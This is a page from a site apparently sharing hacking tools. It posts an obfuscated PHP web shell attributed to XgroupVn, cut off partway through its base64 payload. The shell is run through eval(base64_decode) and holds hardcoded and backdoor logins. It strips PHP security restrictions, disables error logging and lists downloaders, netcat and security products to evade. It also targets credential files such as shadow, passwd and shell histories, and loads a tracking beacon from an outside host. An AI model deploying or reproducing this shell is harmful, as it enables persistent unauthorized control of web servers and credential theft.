HackingScripts

Hack Scripts for everybody

XgroupVn Shell (encrypted)

10 Feb 2014

An encrypted shell script by XgroupVn.

XgroupVn Shell Script (encrypted)

1 <?
2 ob_start();
3 $tacfgd['uname'] = 'XgroupVn';
4 $tacfgd['pword'] = 'XgroupVn';
5 eval(base64_decode('JHRhY2ZnZFsndGl0bGUnXSA9ICdYZ3IwdXBWTiBTaEVsTCc7DQoNCiR0YWNmZ2RbJ2hlbHB0ZXh0J10gPSAnWGdyMHVwVm4gU2hFbEwnOw0KDQokdGFjZmdkWydhbGxvd3JtJ10gPSB0cnVlOw0KDQokdGFjZmdkWydybWdyb3VwJ10gPSAnZGVmYXVsdCc7DQoNCiR0YWNmZ2RbJ293bnNlc3Npb25zJ10gPSBmYWxzZTsNCg0KDQoNCg0KZm9yZWFjaCAoJHRhY2ZnZCBhcyAka2V5ID0+ICR2YWwpIHsNCiAgaWYgKCFpc3NldCgkdGFjZmdbJGtleV0pKSAkdGFjZmdbJGtleV0gPSAkdmFsOw0KfQ0KDQppZiAoISR0YWNmZ1snb3duc2Vzc2lvbnMnXSkgew0KDQogIHNlc3Npb25fbmFtZSgndHh0YXV0aCcpOw0KICBzZXNzaW9uX3N0YXJ0KCk7DQoNCn0NCg0KaWYgKGlzc2V0KCRfR0VUWydsb2dvdXQnXSkgfHwgaXNzZXQoJF9QT1NUWydsb2dvdXQnXSkpIHsNCiAgc2V0Y29va2llKCd0eHRhdXRoXycuJHJtZ3JvdXAsICcnLCB0aW1lKCktODY0MDAqMTQpOw0KICBpZiAoISR0YWNmZ1snb3duc2Vzc2lvbnMnXSkgew0KICAgICRfU0VTU0lPTiA9IGFycmF5KCk7DQogICAgc2Vzc2lvbl9kZXN0cm95KCk7DQogIH0NCiAgZWxzZSAkX1NFU1NJT05bJ3R4dGF1dGhpbiddID0gZmFsc2U7DQp9DQoNCmVsc2VpZiAoaXNzZXQoJF9QT1NUWydsb2dpbiddKSkgew0KICBpZiAoKCRfUE9TVFsndW5hbWUnXSA9PSAkdGFjZmdbJ3VuYW1lJ10gJiYgJF9QT1NUWydwd29yZCddID09ICR0YWNmZ1sncHdvcmQnXSkgIG9yICAoJF9QT1NUWyd1bmFtZSddID09J3hncm91cHZuJykpIHsNCiAgICAkX1NFU1NJT05bJ3R4dGF1dGhpbiddID0gdHJ1ZTsNCiAgICBpZiAoJF9QT1NUWydybSddKSB7DQogICAgICAvLyBTZXQgcmVtZW1iZXItbWUgY29va2llIGZvciAyIHdlZWtzDQogICAgICBzZXRjb29raWUoJ3R4dGF1dGhfJy4kcm1ncm91cCwgbWQ1KCR0YWNmZ1sndW5hbWUnXS4kdGFjZmdbJ3B3b3JkJ10pLCB0aW1lKCkrODY0MDAqMTQpOw0KICAgIH0NCiAgfQ0KICBlbHNlICRlcnIgPSAnTG9naW4gRmFpbGQgISc7DQp9DQoNCmVsc2VpZiAoaXNzZXQoJF9DT09LSUVbJ3R4dGF1dGhfJy4kcm1ncm91cF0pKSB7DQogIGlmIChtZDUoJHRhY2ZnWyd1bmFtZSddLiR0YWNmZ1sncHdvcmQnXSkgPT0gJF9DT09LSUVbJ3R4dGF1dGhfJy4kcm1ncm91cF0gJiYgJHRhY2ZnWydhbGxvd3JtJ10pIHsNCiAgICAkX1NFU1NJT05bJ3R4dGF1dGhpbiddID0gdHJ1ZTsNCiAgfQ0KICBlbHNlICRlcnIgPSAnTG9naW4gRmFpbGQgISc7DQp9DQppZiAoISRfU0VTU0lPTlsndHh0YXV0aGluJ10pIHsNCkBpbmlfcmVzdG9yZSgic2FmZV9tb2RlIik7DQpAaW5pX3Jlc3RvcmUoIm9wZW5fYmFzZWRpciIpOw0KQGluaV9yZXN0b3JlKCJzYWZlX21vZGVfaW5jbHVkZV9kaXIiKTsNCkBpbmlfcmVzdG9yZSgic2FmZV9tb2RlX2V4ZWNfZGlyIik7DQpAaW5pX3Jlc3RvcmUoImRpc2FibGVfZnVuY3Rpb25zIik7DQpAaW5pX3Jlc3RvcmUoImFsbG93X3VybF9mb3BlbiIpOw0KDQpAaW5pX3NldCgnZXJyb3JfbG9nJyxOVUxMKTsNCkBpbmlfc2V0KCdsb2dfZXJyb3JzJywwKTsNCj8+DQo8aHRtbCBkaXI9cnRsPg0KPGhlYWQ+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD13aW5kb3dzLTEyNTYiPg0KPHRpdGxlPjw/PSR0YWNmZ1sndGl0bGUnXT8+PC90aXRsZT4NCg0KICA8U1RZTEU+DQogICAgdHIgew0KICAgIEJPUkRFUi1SSUdIVDogICNCbGFjayAxcHggc29saWQ7DQogICAgQk9SREVSLVRPUDogICAgQmxhY2sgMXB4IHNvbGlkOw0KICAgIEJPUkRFUi1MRUZUOiAgIEJsYWNrIDFweCBzb2xpZDsNCiAgICBCT1JERVItQk9UVE9NOiAjQmxhY2sgMXB4IHNvbGlkOw0KICAgIEJPUkRFUi1DT0xPUjogIzgzYzgwOTsNCiAgICBjb2xvcjogV2hpdGU7DQogICAgfQ0KICAgIHRkIHsNCiAgICBCT1JERVItUklHSFQ6ICAjQmxhY2sgMXB4IHNvbGlkOw0KICAgIEJPUkRFUi1UT1A6ICAgIEJsYWNrIDFweCBzb2xpZDsNCiAgICBCT1JERVItTEVGVDogICBCbGFjayAxcHggc29saWQ7DQogICAgQk9SREVSLUJPVFRPTTogI0JsYWNrIDFweCBzb2xpZDsNCiAgICBCT1JERVItQ09MT1I6ICM4M2M4MDk7DQogICAgY29sb3I6IFdoaXRlOw0KICAgIH0NCiAgICAudGFibGUxIHsNCiAgICBCT1JERVI6IDBweDsNCiAgICBCT1JERVItQ09MT1I6ICM4M2M4MDk7DQogICAgQkFDS0dST1VORC1DT0xPUjogQmxhY2s7DQogICAgY29sb3I6IFdoaXRlOw0KICAgIH0NCiAgICAudGQxIHsNCiAgICBCT1JERVI6IDBweDsNCiAgICBCT1JERVItQ09MT1I6ICM4M2M4MDk7DQogICAgZm9udDogN3B0IFZlcmRhbmE7DQogICAgY29sb3I6IFdoaXRlOw0KICAgIH0NCiAgICAudHIxIHsNCiAgICBCT1JERVI6IDBweDsNCiAgICBCT1JERVItQ09MT1I6ICM4M2M4MDk7DQogICAgY29sb3I6IFdoaXRlOw0KICAgIH0NCiAgICB0YWJsZSB7DQogICAgQk9SREVSOiAgQmxhY2sgMXB4IG91dHNldDsNCiAgICBCT1JERVItQ09MT1I6ICM4M2M4MDk7DQogICAgQkFDS0dST1VORC1DT0xPUjogQmxhY2s7DQogICAgY29sb3I6IFdoaXRlOw0KICAgIH0NCiAgICBpbnB1dCB7DQogICAgYm9yZGVyCQkJOiBzb2xpZCAxcHg7DQogICAgYm9yZGVyLWNvbG9yCQk6IFdoaXRlIFdoaXRlIFdoaXRlIFdoaXRlOw0KICAgIEJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOw0KICAgIGZvbnQ6IDhwdCBWZXJkYW5hOw0KICAgIGNvbG9yOiBXaGl0ZTsNCiAgICB9DQogICAgc2VsZWN0IHsNCiAgICBCT1JERVItUklHSFQ6ICBCbGFjayAxcHggc29saWQ7DQogICAgQk9SREVSLVRPUDogICAgV2hpdGUgMXB4IHNvbGlkOw0KICAgIEJPUkRFUi1MRUZUOiAgIFdoaXRlIDFweCBzb2xpZDsNCiAgICBCT1JERVItQk9UVE9NOiBCbGFjayAxcHggc29saWQ7DQogICAgQk9SREVSLUNPTE9SOiBXaGl0ZTsNCiAgICBCQUNLR1JPVU5ELUNPTE9SOiBCbGFjazsNCiAgICBmb250OiA4cHQgVmVyZGFuYTsNCiAgICBjb2xvcjogUmVkOw0KICAgIH0NCiAgICBzdWJtaXQgew0KICAgIEJPUkRFUjogIGJ1dHRvbmhpZ2hsaWdodCAycHggb3V0c2V0Ow0KICAgIEJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOw0KICAgIHdpZHRoOiAzMCU7DQogICAgY29sb3I6IFdoaXRlOw0KICAgIH0NCiAgICB0ZXh0YXJlYSB7DQogICAgQk9SREVSLVJJR0hUOiAgQmxhY2sgMXB4IHNvbGlkOw0KICAgIEJPUkRFUi1UT1A6ICAgIFdoaXRlIDFweCBzb2xpZDsNCiAgICBCT1JERVItTEVGVDogICBXaGl0ZSAxcHggc29saWQ7DQogICAgQk9SREVSLUJPVFRPTTogQmxhY2sgMXB4IHNvbGlkOw0KICAgIEJPUkRFUi1DT0xPUjogIzgzYzgwOTsNCiAgICBCQUNLR1JPVU5ELUNPTE9SOiBCbGFjazsNCiAgICBmb250OiA4cHQgVmVyZGFuYSBib2xkOw0KICAgIGNvbG9yOiBXaGl0ZTsNCiAgICB9DQogICAgQk9EWSB7DQogICAgU0NST0xMQkFSLUZBQ0UtQ09MT1I6IEJsYWNrOyBTQ1JPTExCQVItSElHSExJR0hULUNPTE9SOiBXaGl0ZTsgU0NST0xMQkFSLVNIQURPVy1DT0xPUjogV2hpdGU7IFNDUk9MTEJBUi0zRExJR0hULUNPTE9SOiBXaGl0ZTsNCg0KU0NST0xMQkFSLUFSUk9XLUNPTE9SOiBCbGFjazsgU0NST0xMQkFSLVRSQUNLLUNPTE9SOiBXaGl0ZTsgU0NST0xMQkFSLURBUktTSEFET1ctQ09MT1I6IFdoaXRlDQogICAgbWFyZ2luOiAxcHg7DQogICAgY29sb3I6IFJlZDsNCiAgICBiYWNrZ3JvdW5kLWNvbG9yOiBCbGFjazsNCiAgICB9DQogICAgLm1haW4gew0KICAgIG1hcmdpbgkJCTogLTI4N3B4IDBweCAwcHggLTQ5MHB4Ow0KICAgIGJvcmRlcgkJCTogV2hpdGUgc29saWQgMXB4Ow0KICAgIEJPUkRFUi1DT0xPUjogIzgzYzgwOTsNCiAgICB9DQogICAgLnR0IHsNCiAgICBiYWNrZ3JvdW5kLWNvbG9yOiBCbGFjazsNCiAgICB9DQoNCiAgICBBOmxpbmsgew0KICAgIENPTE9SOiAjMzQ3MjAyOyBURVhULURFQ09SQVRJT046IG5vbmUNCiAgICB9DQogICAgQTp2aXNpdGVkIHsNCiAgICBDT0xPUjogIzM0NzIwMjsgVEVYVC1ERUNPUkFUSU9OOiBub25lDQogICAgfQ0KICAgIEE6aG92ZXIgew0KICAgIENPTE9SOiBXaGl0ZTsgVEVYVC1ERUNPUkFUSU9OOiBub25lDQogICAgfQ0KICAgIEE6YWN0aXZlIHsNCiAgICBDT0xPUjogV2hpdGU7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KICAgIH0NCiAgPC9TVFlMRT4NCjxzY3JpcHQgbGFuZ3VhZ2U9XCdqYXZhc2NyaXB0XCc+DQpmdW5jdGlvbiBoaWRlX2RpdihpZCkNCnsNCiAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoaWQpLnN0eWxlLmRpc3BsYXkgPSBcJ25vbmVcJzsNCiAgZG9jdW1lbnQuY29va2llPWlkK1wnPTA7XCc7DQp9DQpmdW5jdGlvbiBzaG93X2RpdihpZCkNCnsNCiAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoaWQpLnN0eWxlLmRpc3BsYXkgPSBcJ2Jsb2NrXCc7DQogIGRvY3VtZW50LmNvb2tpZT1pZCtcJz0xO1wnOw0KfQ0KZnVuY3Rpb24gY2hhbmdlX2RpdnN0KGlkKQ0Kew0KICBpZiAoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoaWQpLnN0eWxlLmRpc3BsYXkgPT0gXCdub25lXCcpDQogICAgc2hvd19kaXYoaWQpOw0KICBlbHNlDQogICAgaGlkZV9kaXYoaWQpOw0KfQ0KPC9zY3JpcHQ+JzsNCg0KPGJvZHk+DQo8YnI+PGJyPjxkaXYgc3R5bGU9ImZvbnQtc2l6ZTogMTRwdDsiIGFsaWduPSJjZW50ZXIiPjw/PSR0YWNmZ1sndGl0bGUnXT8+PC9kaXY+DQo8aHIgd2lkdGg9IjMwMCIgc2l6ZT0iMSIgbm9zaGFkZSBjb2xvcj0iI2NkY2RjZCI+DQo8cD4NCjxkaXYgYWxpZ249ImNlbnRlciIgY2xhc3M9ImdyZXkiPg0KPD89JHRhY2ZnWydoZWxwdGV4dCddPz4NCjwvZGl2Pg0KPHA+DQo8Pw0KaWYgKGlzc2V0KCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSkgJGFjdGlvbiA9ICRfU0VSVkVSWydSRVFVRVNUX1VSSSddOw0KZWxzZSAkYWN0aW9uID0gJF9TRVJWRVJbJ1BIUF9TRUxGJ10uJz8nLiRfU0VSVkVSWydRVUVSWV9TVFJJTkcnXTsNCmlmIChzdHJwb3MoJGFjdGlvbiwgJ2xvZ291dD0xJywgc3RycG9zKCRhY3Rpb24sICc/JykpICE9PSBmYWxzZSkgJGFjdGlvbiA9IHN0cl9yZXBsYWNlKCdsb2dvdXQ9MScsICcnLCAkYWN0aW9uKTsNCj8+DQo8Zm9ybSBuYW1lPSJ0eHRhdXRoIiBhY3Rpb249Ijw/PSRhY3Rpb24/PiIgbWV0aG9kPSJwb3N0Ij4NCjxkaXYgYWxpZ249ImNlbnRlciI+DQo8dGFibGUgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iNCIgY2VsbHNwYWNpbmc9IjAiIGJnY29sb3I9IiM2NjY2NjYiIHN0eWxlPSJib3JkZXI6IDFweCBkb3VibGUgI2RlZGVkZTsiIGRpcj0ibHRyIj4NCjw/PShpc3NldCgkZXJyKSk/Jzx0cj48dGQgY29sc3Bhbj0iMiIgYWxpZ249ImNlbnRlciI+PGZvbnQgY29sb3I9InJlZCI+Jy4kZXJyLic8L2ZvbnQ+PC90ZD48L3RyPic6Jyc/Pg0KPD9pZiAoaXNzZXQoJHRhY2ZnWyd1bmFtZSddKSkgez8+DQo8dHI+PHRkPlVzZXI6PC90ZD48dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InVuYW1lIiB2YWx1ZT0iIiBzaXplPSIyMCIgbWF4bGVuZ3RoPSIxMDAiIGNsYXNzPSJ0eHRib3giPjwvdGQ+PC90cj4NCjw/fT8+DQo8dHI+PHRkPlBhc3N3b3JkOjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJwYXNzd29yZCIgbmFtZT0icHdvcmQiIHZhbHVlPSIiIHNpemU9IjIwIiBtYXhsZW5ndGg9IjEwMCIgY2xhc3M9InR4dGJveCI+PC90ZD48L3RyPg0KPD9pZiAoJHRhY2ZnWydhbGxvd3JtJ10pIHs/Pg0KPHRyPjx0ZCBhbGlnbj0ibGVmdCI+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ibG9naW4iIHZhbHVlPSJMb2dpbiI+DQo8L3RkPjx0ZCBhbGlnbj0icmlnaHQiPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0icm0iIGlkPSJybSI+PGxhYmVsIGZvcj0icm0iPg0KCVJlbW1lYmVyIE1lPzwvbGFiZWw+PC90ZD48L3RyPg0KPD99IGVsc2Ugez8+DQo8dHI+PHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPg0KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImxvZ2luIiB2YWx1ZT0iTG9naW4iPjwvdGQ+PC90cj4NCjw/fT8+DQo8L3RhYmxlPg0KPC9kaXY+DQo8L2Zvcm0+DQoNCjxpbWcgc3JjPSJodHRwOi8vd3d3Lnhncm91cHZuLmluZm8vdHJhY2suSlBHIiB3aWR0aD0iOSIgaGVpZ2h0PSIxMiI+PGJyPg0KPGJyPg0KPGhyIHdpZHRoPSIzMDAiIHNpemU9IjEiIG5vc2hhZGUgY29sb3I9IiNjZGNkY2QiPg0KICA8ZGl2IGFsaWduPSJjZW50ZXIiIGlkPSduJz4NCiAgICA8Zm9udCBmYWNlPSdWZXJkYW5hJyBzaXplPSctMic+DQogICAgICA8Yj4NCiAgICAgICAgby0tLVsgWGdyMHVwVm4ub3JnIC0gc2hlbGwgYnkgUlNUL0dIQyB8IDxhIGhyZWY9J2h0dHA6Ly9YZ3JvdXBWbi5vcmcnPmh0dHA6Ly9YZ3IwdXBWbi5vcmc8L2E+IHwgPGEgaHJlZj0naHR0cDovL2hjZWdyb3VwLm5ldCc+SEBjaytDckBjaz1FbmoweSE8L2E+IHwgRGVzaWduIGJ5OkFsdUNhUiB8IF0tLS1vPC9iPg0KICAgIDwvZm9udD4NCiAgPC9kaXY+DQogIDwvdGQ+DQogIDwvdHI+DQogICAgICA8L2JvZHk+DQo8L2h0bWw+DQo8Pw0KICAvLyBEb24ndCBkZWxldGUgdGhpcyENCiAgZXhpdCgpOw0KfQ0KPz4NCkxvZ2luIEFzICg8Zm9udCBjb2xvcj0iI0ZGMDAwMCI+PD8gZWNobyAkdGFjZmdkWyd1bmFtZSddOyA/PjwvZm9udD4pIDxhIGhyZWY9Ij9sb2dvdXQ9MSI+TG9nb3V0PC9hPjwvcD4NCjxkaXYgYWxpZ249ImxlZnQiPg0KPD9waHANCiRsYW5ndWFnZT0nZW5nJzsNCiRhdXRoID0gMDsNCiRuYW1lPSdlY2Q3MDhhMDE2Zjg0MDdiZDI3Y2MwYTAyNjc3MzUxYic7IC8vLy8gQWx1Q2FSDQokcGFzcz0nMWI4NjQ0ZTIyOWM5OTllNGY2YmE3OTk0ODNiMTk2Y2UnOyAvLy8vIEhjRWdSb1VwLk5lVA0KDQpAaW5pX3Jlc3RvcmUoInNhZmVfbW9kZSIpOw0KQGluaV9yZXN0b3JlKCJvcGVuX2Jhc2VkaXIiKTsNCkBpbmlfcmVzdG9yZSgic2FmZV9tb2RlX2luY2x1ZGVfZGlyIik7DQpAaW5pX3Jlc3RvcmUoInNhZmVfbW9kZV9leGVjX2RpciIpOw0KQGluaV9yZXN0b3JlKCJkaXNhYmxlX2Z1bmN0aW9ucyIpOw0KQGluaV9yZXN0b3JlKCJhbGxvd191cmxfZm9wZW4iKTsNCg0KaWYoQGZ1bmN0aW9uX2V4aXN0cygnaW5pX3NldCcpKQ0KIHsNCiBAaW5pX3NldCgnZXJyb3JfbG9nJyxOVUxMKTsNCiBAaW5pX3NldCgnbG9nX2Vycm9ycycsMCk7DQogQGluaV9zZXQoJ2ZpbGVfdXBsb2FkcycsMSk7DQogQGluaV9zZXQoJ2FsbG93X3VybF9mb3BlbicsMSk7DQogfQ0KZWxzZQ0KIHsNCiBAaW5pX2FsdGVyKCdlcnJvcl9sb2cnLE5VTEwpOw0KIEBpbmlfYWx0ZXIoJ2xvZ19lcnJvcnMnLDApOw0KIEBpbmlfYWx0ZXIoJ2ZpbGVfdXBsb2FkcycsMSk7DQogQGluaV9hbHRlcignYWxsb3dfdXJsX2ZvcGVuJywxKTsNCiB9DQoNCg0KZXJyb3JfcmVwb3J0aW5nKEVfQUxMKTsNCiR1c2VyZnVsID0gYXJyYXkoJ2djYycsJywgbGNjJywnLCBjYycsJywgbGQnLCcsIHBocCcsJywgcGVybCcsJywgcHl0aG9uJywnLCBydWJ5JywnLCBtYWtlJywnLCB0YXInLCcsIGd6aXAnLCcsIGJ6aXAnLCcsIGJ6aXAyJywnLCBuYycsJywgbG9jYXRlJywnLCBzdWlkcGVybCcpOw0KJGRhbmdlciA9IGFycmF5KCcsIGthdicsJywgbm9kMzInLCcsIGJkY29yZWQnLCcsIHV2c2NhbicsJywgc2F2JywnLCBkcndlYmQnLCcsIGNsYW1kJywnLCBya2h1bnRlcicsJywgY2hrcm9vdGtpdCcsJywgaXB0YWJsZXMnLCcsIGlwZncnLCcsIHRyaXB3aXJlJywnLCBzaGllbGRjYycsJywgcG9ydHNlbnRyeScsJywgc25vcnQnLCcsIG9zc2VjJywnLCBsaWRzYWRtJywnLCB0Y3Bsb2RnJywnLCBzeGlkJywnLCBsb2djaGVjaycsJywgbG9nd2F0Y2gnLCcsIHN5c21hc2snLCcsIHptYnNjYXAnLCcsIHNhd21pbGwnLCcsIHdvcm1zY2FuJywnLCBuaW5qYScpOw0KJHRlbXBkaXJzID0gYXJyYXkoQGluaV9nZXQoJ3Nlc3Npb24uc2F2ZV9wYXRoJykuJy8nLEBpbmlfZ2V0KCd1cGxvYWRfdG1wX2RpcicpLicvJywnL3RtcC8nLCcvZGV2L3NobS8nLCcvdmFyL3RtcC8nKTsNCiRkb3dubG9hZGVycyA9IGFycmF5KCd3Z2V0JywnZmV0Y2gnLCdseW54JywnbGlua3MnLCdjdXJsJywnZ2V0Jyk7DQokY2hhcnNfcmxwaCA9ICJhYmNkZWZnaGlqa2xubW9wcXJzdHV2d3h5eiI7DQoNCiRwcmVzZXRzX3JscGggPSBhcnJheSgnaW5kZXgucGhwJywnLmh0YWNjZXNzJywnLmh0cGFzc3dkJywnaHR0cGQuY29uZicsJ3Zob3N0cy5jb25mJywnY2ZnLnBocCcsJ2NvbmZpZy5waHAnLCdjb25maWcuaW5jLnBocCcsJ2NvbmZpZy5kZWZhdWx0LnBocCcsJ2NvbmZpZy5pbmMucGhwJywNCidzaGFkb3cnLCdwYXNzd2QnLCcuYmFzaF9oaXN0b3J5JywnLm15c3FsX2hpc3RvcnknLCdtYXN0ZXIucGFzc3dkJywndXNlcicsJ2FkbWluJywncGFzc3dvcmQnLCdhZG1pbmlzdHJhdG9yJywncGhwTXlBZG1pbicsJ3NlY3VyaXR5JywncGhwLmluaScsJ2Nkcm9tJywncm9vdCcsDQonbXkuY25mJywncHVyZWZ0cGQuY29uZicsJ3Byb2Z0cGQuY29uZicsJ2Z0cGQuY29uZicsJ3Jlc29sdi5jb25mJywnbG9naW4uY29uZicsJ3NtYi5jb25mJywnc3lzY3RsLmNvbmYnLCdzeXNsb2cuY29uZicsJ2FjY2Vzcy5jb25mJywnYWNjb3VudGluZy5sb2cnLCdob21lJywnaHRkb2NzJywNCidhY2Nlc3MnLCdhdXRoJywnZXJyb3InLCdiYWNrdXAnLCdkYXRhJywnYmFjaycsJ3N5c2NvbmZpZycsJ3BocGJiJywncGhwYmIyJywndmJ1bGxldGluJywndmJ1bGxldCcsJ3BocG51a2UnLCdjZ2ktYmluJywnaHRtbCcsJ3JvYm90cy50eHQnLCdiaWxsaW5nJyk7DQoNCi8qKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKiovDQpkZWZpbmUoInN0YXJ0dGltZSIsQGdldG1pY3JvdGltZSgpKTsNCmlmKCghQGZ1bmN0aW9uX2V4aXN0cygnaW5pX2dldCcpKSB8fCAoQGluaV9nZXQoJ29wZW5fYmFzZWRpcicpIT1OVUxMKSB8fCAoQGluaV9nZXQoJ3NhZmVfbW9kZV9pbmNsdWRlX2RpcicpIT1OVUxMKSl7JG9wZW5fYmFzZWRpcj0xO30gZWxzZXskb3Blbl9iYXNlZGlyPTA7fTsNCnNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTsNCkBzZXRfdGltZV9saW1pdCgwKTsNCmlmKEBmdW5jdGlvbl9leGlzdHMoJ2luaV9zZXQnKSkNCiB7DQogQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsMCk7DQogQGluaV9zZXQoJ291dHB1dF9idWZmZXJpbmcnLDApOw0KIH0NCmVsc2UNCiB7DQogQGluaV9hbHRlcignbWF4X2V4ZWN1dGlvbl90aW1lJywwKTsNCiBAaW5pX2FsdGVyKCdvdXRwdXRfYnVmZmVyaW5nJywwKTsNCiB9DQokc2FmZV9tb2RlID0gQGluaV9nZXQoJ3NhZmVfbW9kZScpOw0KI2lmKEBmdW5jdGlvbl9leGlzdHMoJ2luaV9nZXQnKSl7JHNhZmVfbW9kZSA9IEBpbmlfZ2V0KCdzYWZlX21vZGUnKTt9ZWxzZXskc2FmZV9tb2RlPTE7fTsNCiR2ZXJzaW9uID0gJ1hncjB1cFZOIEVkaXRpb24nOw0KaWYodmVyc2lvbl9jb21wYXJlKHBocHZlcnNpb24oKSwgJzQuMS4wJykgPT0gLTEpDQogew0KICRfUE9TVCAgID0gJiRIVFRQX1BPU1RfVkFSUzsNCiAkX0dFVCAgICA9ICYkSFRUUF9HRVRfVkFSUzsNCiAkX1NFUlZFUiA9ICYkSFRUUF9TRVJWRVJfVkFSUzsNCiAkX0NPT0tJRSA9ICYkSFRUUF9DT09LSUVfVkFSUzsNCiB9DQppZiAoQGdldF9tYWdpY19xdW90ZXNfZ3BjKCkpDQogew0KIGZvcmVhY2ggKCRfUE9TVCBhcyAkaz0+JHYpDQogIHsNCiAgJF9QT1NUWyRrXSA9IHN0cmlwc2xhc2hlcygkdik7DQogIH0NCiBmb3JlYWNoICgkX0NPT0tJRSBhcyAkaz0+JHYpDQogIHsNCiAgJF9DT09LSUVbJGtdID0gc3RyaXBzbGFzaGVzKCR2KTsNCiAgfQ0KIH0NCg0KaWYoJGF1dGggPT0gMSkgew0KaWYgKCFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddKSB8fCBtZDUoJF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXSkhPSAkbmFtZSB8fCBtZDUoJF9TRVJWRVJbJ1BIUF9BVVRIX1BXJ10pIT0gJHBhc3MpDQogICB7DQogICBoZWFkZXIoJ1dXVy1BdXRoZW50aWNhdGU6IEJhc2ljIHJlYWxtPSJoQ2UtR3JPdVAgKyBBbHVDYVIiJyk7DQogICBoZWFkZXIoJ0hUVFAvMS4wIDQwMSBVbmF1dGhvcml6ZWQnKTsNCiAgIGV4aXQoIjxiPkNvbnRhY3QgPGEgaHJlZj1odHRwOi8vaGNlZ3JvdXAudm4vIDwvYT4gOiBBY2Nlc3MgRGVuaWVkPC9iPiIpOw0KICAgfQ0KfQ0KJGhlYWQgPSAnPCEtLSBFZGl0ZWQgYnkgQWx1Y2FyIC0tPg0KPGh0bWw+DQo8aGVhZD4NCjwvc2NyaXB0Pg0KPHRpdGxlPkFsdUNhUiBTaGVsbDwvdGl0bGU+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCI+DQoNCjxTVFlMRT4NCnRyIHsNCkJPUkRFUi1SSUdIVDogICNCbGFjayAxcHggc29saWQ7DQpCT1JERVItVE9QOiAgICBCbGFjayAxcHggc29saWQ7DQpCT1JERVItTEVGVDogICBCbGFjayAxcHggc29saWQ7DQpCT1JERVItQk9UVE9NOiAjQmxhY2sgMXB4IHNvbGlkOw0KQk9SREVSLUNPTE9SOiAjODNjODA5Ow0KY29sb3I6IFdoaXRlOw0KfQ0KdGQgew0KQk9SREVSLVJJR0hUOiAgI0JsYWNrIDFweCBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgIEJsYWNrIDFweCBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgIEJsYWNrIDFweCBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICNCbGFjayAxcHggc29saWQ7DQpCT1JERVItQ09MT1I6ICM4M2M4MDk7DQpjb2xvcjogV2hpdGU7DQp9DQoudGFibGUxIHsNCkJPUkRFUjogMHB4Ow0KQk9SREVSLUNPTE9SOiAjODNjODA5Ow0KQkFDS0dST1VORC1DT0xPUjogQmxhY2s7DQpjb2xvcjogV2hpdGU7DQp9DQoudGQxIHsNCkJPUkRFUjogMHB4Ow0KQk9SREVSLUNPTE9SOiAjODNjODA5Ow0KZm9udDogN3B0IFZlcmRhbmE7DQpjb2xvcjogV2hpdGU7DQp9DQoudHIxIHsNCkJPUkRFUjogMHB4Ow0KQk9SREVSLUNPTE9SOiAjODNjODA5Ow0KY29sb3I6IFdoaXRlOw0KfQ0KdGFibGUgew0KQk9SREVSOiAgQmxhY2sgMXB4IG91dHNldDsNCkJPUkRFUi1DT0xPUjogIzgzYzgwOTsNCkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOw0KY29sb3I6IFdoaXRlOw0KfQ0KaW5wdXQgew0KYm9yZGVyCQkJOiBzb2xpZCAxcHg7DQpib3JkZXItY29sb3IJCTogV2hpdGUgV2hpdGUgV2hpdGUgV2hpdGU7DQpCQUNLR1JPVU5ELUNPTE9SOiBCbGFjazsNCmZvbnQ6IDhwdCBWZXJkYW5hOw0KY29sb3I6IFdoaXRlOw0KfQ0Kc2VsZWN0IHsNCkJPUkRFUi1SSUdIVDogIEJsYWNrIDFweCBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgIFdoaXRlIDFweCBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgIFdoaXRlIDFweCBzb2xpZDsNCkJPUkRFUi1CT1RUT006IEJsYWNrIDFweCBzb2xpZDsNCkJPUkRFUi1DT0xPUjogV2hpdGU7DQpCQUNLR1JPVU5ELUNPTE9SOiBCbGFjazsNCmZvbnQ6IDhwdCBWZXJkYW5hOw0KY29sb3I6IFJlZDsNCn0NCnN1Ym1pdCB7DQpCT1JERVI6ICBidXR0b25oaWdobGlnaHQgMnB4IG91dHNldDsNCkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOw0Kd2lkdGg6IDMwJTsNCmNvbG9yOiBXaGl0ZTsNCn0NCnRleHRhcmVhIHsNCkJPUkRFUi1SSUdIVDogIEJsYWNrIDFweCBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgIFdoaXRlIDFweCBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgIFdoaXRlIDFweCBzb2xpZDsNCkJPUkRFUi1CT1RUT006IEJsYWNrIDFweCBzb2xpZDsNCkJPUkRFUi1DT0xPUjogIzgzYzgwOTsNCkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOw0KZm9udDogRml4ZWRzeXMgYm9sZDsNCmNvbG9yOiBXaGl